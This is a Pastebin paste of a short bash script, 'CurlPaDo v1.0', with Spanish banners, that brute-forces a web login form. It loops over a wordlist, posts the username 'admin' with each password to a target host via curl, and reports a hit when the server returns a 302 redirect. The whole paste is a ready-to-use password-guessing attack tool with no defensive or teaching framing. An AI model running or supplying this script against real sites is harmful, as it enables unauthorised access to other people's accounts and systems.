Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #by: Br0wF0x
- if [ "$1" == "" ];then
- clear;echo "[*] CurlPaDo v1.0 La fuerza bruta con el curl [*]"
- echo;echo "[***] Por favor,edite los parametros en la fuente del codigo en la variable de inicio de sesion"
- echo "Usage: $0 wordlist target port /index.php"
- exit 0;
- fi
- clear;
- echo "Brute Forcing with CURL !"
- echo;echo "Runing..."
- #---------------Parametros-----------#
- ####USER####
- uU="username"
- U="admin"
- ###PASS###
- pP="password"
- ###SUB###
- sS="submit"
- S="Login"
- ###MAIN###
- for i in $(cat $1); do
- login=$(curl -s -o /dev/null -F $uU=$U -F $pP=$i -F $sS=$S -w "%{http_code}" $2:$3$4);
- if [ $login '==' "302" ];then
- clear;
- echo "[*] Password Found: $i [*]"
- break
- else
- echo -e "[*] Trying: $i\t\t\t\t\t\tCode: $login"
- fi
- done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement